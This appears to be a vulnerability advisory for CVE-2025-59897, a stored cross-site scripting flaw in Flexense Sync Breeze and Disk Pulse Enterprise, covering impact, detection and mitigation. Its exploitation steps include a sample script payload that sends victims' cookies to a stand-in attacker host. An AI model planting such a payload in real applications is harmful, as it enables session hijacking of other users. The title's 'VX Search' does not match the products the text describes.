CVE-2025-59897: 
VX Search vulnerability analysis and mitigation

CVE-2025-59897 is a persistent (stored) authenticated Cross-Site Scripting (XSS) vulnerability affecting Sync Breeze Enterprise Server v10.4.18 and Disk Pulse Enterprise v10.4.18, both developed by Flexense. The vulnerability arises from insufficient input validation in the /edit_command?sid= endpoint, specifically in the source_dir and dest_dir parameters. It was published on January 28, 2026, and assigned by INCIBE. The CVSS v3.1 base score is 5.4 (Medium) (INCIBE Advisory).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), where user-supplied input in the source_dir and dest_dir parameters of the /edit_command?sid= endpoint is not properly sanitized before being rendered in the web interface. Because the payload is stored server-side and later reflected to other authenticated users, this is a persistent (stored) XSS variant. Exploitation requires the attacker to be authenticated (low privileges) and for a victim user to interact with the malicious content (user interaction required). The attack vector is network-based with low complexity (INCIBE Advisory).

Successful exploitation allows an authenticated attacker to inject malicious scripts that execute in the browser context of other authenticated users, enabling session token theft, credential harvesting, or unauthorized actions performed on behalf of the victim. The scope is changed (C:C in CVSS terms), meaning the impact extends beyond the attacker's own session to affect other users of the application. Confidentiality and integrity are both impacted at a low level, while availability is not directly affected (INCIBE Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for CVE-2025-59897. The EPSS score is approximately 0.047%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been identified (INCIBE Advisory).

1. Authentication: Log in to the Sync Breeze Enterprise Server or Disk Pulse Enterprise web interface with any low-privileged account.
2. Identify the vulnerable endpoint: Navigate to the /edit_command?sid= endpoint, which is used to configure synchronization or disk monitoring commands.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) into the source_dir or dest_dir parameter.
4. Payload persistence: The malicious script is stored server-side and associated with the command configuration.
5. Victim interaction: When another authenticated user views or interacts with the affected command entry, the stored script executes in their browser context.
6. Session theft: The attacker receives the victim's session cookie or other sensitive information at the attacker-controlled endpoint, enabling session hijacking (INCIBE Advisory).

• Network: Outbound HTTP requests from victim browsers to unexpected external domains containing cookie or session data in query parameters (e.g., ?c=<session_token>).
• Logs: Web server access logs showing unusual or encoded values in the source_dir or dest_dir parameters of POST/GET requests to /edit_command?sid=, particularly containing <script>, javascript:, or HTML event handler strings.
• Application: Stored command entries in Sync Breeze or Disk Pulse containing unexpected HTML or JavaScript content in directory path fields.

Users should contact Flexense or monitor the vendor's official website for a patched release addressing this vulnerability. As a workaround, restrict access to the Sync Breeze Enterprise Server and Disk Pulse Enterprise web interfaces to trusted networks or authenticated administrators only, and implement a Web Application Firewall (WAF) rule to detect and block XSS payloads in the affected parameters. Audit existing command configurations for unexpected script content in source_dir and dest_dir fields (INCIBE Advisory).

The vulnerability was reported and coordinated by INCIBE (Spain's National Cybersecurity Institute), which published an advisory covering multiple vulnerabilities in Flexense products. No significant broader media coverage, researcher commentary, or social media discussion has been identified beyond standard vulnerability database aggregation (INCIBE Advisory).